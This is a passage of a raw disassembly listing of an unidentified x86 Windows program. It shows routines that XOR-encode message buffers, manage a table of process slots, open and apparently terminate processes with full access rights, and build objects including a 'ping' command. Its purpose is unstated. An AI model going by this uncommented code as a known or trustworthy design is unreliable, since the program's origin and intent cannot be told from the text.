		test	bl, bl
		jnz	short loc_4267E9


loc_4267E8:				; CODE XREF: sub_4267D0+8j
					; sub_4267D0+Dj ...
		inc	ebx


loc_4267E9:				; CODE XREF: sub_4267D0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42680C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_426806
		cmp	al, 0Dh
		jz	short loc_426806
		cmp	al, 5Ch
		jz	short loc_426806
		test	al, al
		jnz	short loc_42680C


loc_426806:				; CODE XREF: sub_4267D0+28j
					; sub_4267D0+2Cj ...
		add	ebx, 100h


loc_42680C:				; CODE XREF: sub_4267D0+1Fj
					; sub_4267D0+34j
		push	ebx
		call	sub_4017C6
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_426825
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426825:				; CODE XREF: sub_4267D0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_426830
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426830:				; CODE XREF: sub_4267D0+5Aj
		mov	al, byte_510114
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_426860


loc_426841:				; CODE XREF: sub_4267D0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_426857
		cmp	cl, 0Ah
		jz	short loc_426857
		cmp	cl, 0Dh
		jz	short loc_426857
		cmp	cl, 5Ch
		jnz	short loc_42685B


loc_426857:				; CODE XREF: sub_4267D0+76j
					; sub_4267D0+7Bj ...
		inc	al
		xor	edx, edx


loc_42685B:				; CODE XREF: sub_4267D0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_426841


loc_426860:				; CODE XREF: sub_4267D0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_510114, al
		ja	short loc_426893
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C4C
		mov	edi, edx
		mov	byte_446C59, bl
		mov	byte_446C5D, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_4267D0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C34
		mov	edi, edx
		mov	word_446C42, bx
		mov	byte_446C47, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4268B9:				; CODE XREF: sub_4267D0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4268CF
		add	esi, edx


loc_4268C2:				; CODE XREF: sub_4267D0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4268C2


loc_4268CF:				; CODE XREF: sub_4267D0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4267D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426930	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44B19F[eax*4], ecx
		mov	dword_44B18B[eax*4], ecx
		mov	dword_44B18F[eax*4], ecx
		mov	dword_44B193[eax*4], ecx
		mov	dword_44B197[eax*4], ecx
		mov	dword_44B19B[eax*4], ecx
		mov	byte_44AF8B[eax*4], cl
		mov	byte_44B1A3[eax*4], cl
		retn
sub_426930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_426A57
		cmp	ecx, 400h
		jge	loc_426A57
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44B19F[esi*4]
		push	eax
		call	near ptr 278073Dh
		nop
		cmp	dword_44B19F[esi*4], ebx
		jz	short loc_4269E8
		mov	ebp, 1


loc_4269E8:				; CODE XREF: sub_4269A0+41j
		mov	dword_44B19F[esi*4], ebx
		mov	dword_44B18B[esi*4], ebx
		mov	dword_44B18F[esi*4], ebx
		mov	eax, dword_44B193[esi*4]
		cmp	eax, ebx
		jbe	short loc_426A11
		push	eax
		call	sub_401C80
		add	esp, 4


loc_426A11:				; CODE XREF: sub_4269A0+66j
		mov	edi, dword_511C9C
		mov	dword_44B193[esi*4], ebx
		mov	byte_44AF8B[esi*4], bl
		mov	byte_44B1A3[esi*4], bl
		mov	ecx, dword_44B197[esi*4]
		push	ecx
		call	edi
		mov	dword_44B197[esi*4], ebx
		mov	edx, dword_44B19B[esi*4]
		lea	esi, ds:44B19Bh[esi*4]
		push	edx
		call	edi
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269A0+Cj
					; sub_4269A0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A90	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B18F


loc_426AA1:				; CODE XREF: sub_426A90+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_426AD5
		test	ebx, ebx
		jle	short loc_426AC7
		cmp	[esi], ebx
		jz	short loc_426AB8
		cmp	edi, ebx
		jnz	short loc_426AD5


loc_426AB8:				; CODE XREF: sub_426A90+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5
		jmp	short loc_426AD4
; ---------------------------------------------------------------------------


loc_426AC7:				; CODE XREF: sub_426A90+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5


loc_426AD4:				; CODE XREF: sub_426A90+35j
		inc	ebp


loc_426AD5:				; CODE XREF: sub_426A90+1Aj
					; sub_426A90+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D818F
		jl	short loc_426AA1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_426A90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B10	proc near		; CODE XREF: sub_401C80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		call	near ptr 2710000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_426B45
		push	0
		push	esi
		nop
		call	near ptr 2790D12h
		test	eax, eax
		jnz	short loc_426B45
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2840A54h


loc_426B45:				; CODE XREF: sub_426B10+1Dj
					; sub_426B10+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B60	proc near		; CODE XREF: sub_40148Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B6B:				; CODE XREF: sub_426B60+1Cj
		cmp	[ecx], edx
		jnz	short loc_426B70
		inc	eax


loc_426B70:				; CODE XREF: sub_426B60+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B6B
		retn
sub_426B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B90	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B9E:				; CODE XREF: sub_426B90+1Fj
		cmp	[ecx], edx
		jz	short loc_426BB3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B9E
		mov	eax, esi


loc_426BB3:				; CODE XREF: sub_426B90+10j
		pop	esi
		retn
sub_426B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BD0	proc near		; CODE XREF: sub_401BEAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_44AF8B


loc_426BD8:				; CODE XREF: sub_426BD0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_426BEE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D7F8B
		jl	short loc_426BD8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426BEE:				; CODE XREF: sub_426BD0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:44AF8Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	near ptr 77C47A90h
		nop
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_426BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426C70	proc near		; CODE XREF: sub_401613j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_426C70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: ___:loc_401B81j
		push	0FFFFFFFFh
		push	offset loc_43C9C4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_427058
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_426F2B
		mov	ecx, eax
		call	sub_401DF2
		mov	ebp, eax


loc_426F2B:				; CODE XREF: ___:00426F20j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FDC
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427058:				; CODE XREF: ___:00426F01j
		lea	ecx, [ebx+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4271CA
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42709B
		mov	ecx, eax
		call	sub_401BDB
		mov	ebp, eax
		jmp	short loc_42709D
; ---------------------------------------------------------------------------


loc_42709B:				; CODE XREF: ___:0042708Ej
		xor	ebp, ebp


loc_42709D:				; CODE XREF: ___:00427099j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4271CA:				; CODE XREF: ___:0042706Dj
		lea	ecx, [ebx+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_427339
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_42720A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_42720C
; ---------------------------------------------------------------------------


loc_42720A:				; CODE XREF: ___:004271FDj
		xor	ebp, ebp


loc_42720C:				; CODE XREF: ___:00427208j
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427339:				; CODE XREF: ___:004271DCj
		lea	ecx, [ebx+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4274E4
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_427379
		mov	ecx, eax
		call	sub_40178F
		mov	ebp, eax
		jmp	short loc_42737B
; ---------------------------------------------------------------------------


loc_427379:				; CODE XREF: ___:0042736Cj
		xor	ebp, ebp


loc_42737B:				; CODE XREF: ___:00427377j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4274E4:				; CODE XREF: ___:0042734Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_427501
		mov	[ebx+11Ch], al


loc_427501:				; CODE XREF: ___:004274F9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4276C0	proc near		; CODE XREF: sub_401A78j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_449A04
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4276E1
		inc	ecx
		mov	[eax+118h], ecx


loc_4276E1:				; CODE XREF: sub_4276C0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_4276C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427740	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F0DC
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; CODE XREF: sub_401F9Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4277B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4277B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427850	proc near		; CODE XREF: sub_4014CEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427850	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427910:				; CODE XREF: ___:loc_4016DBj
					; ___:0040219Ej
		push	esi
		mov	esi, ecx
		call	sub_4014CE
		test	byte ptr [esp+8], 1
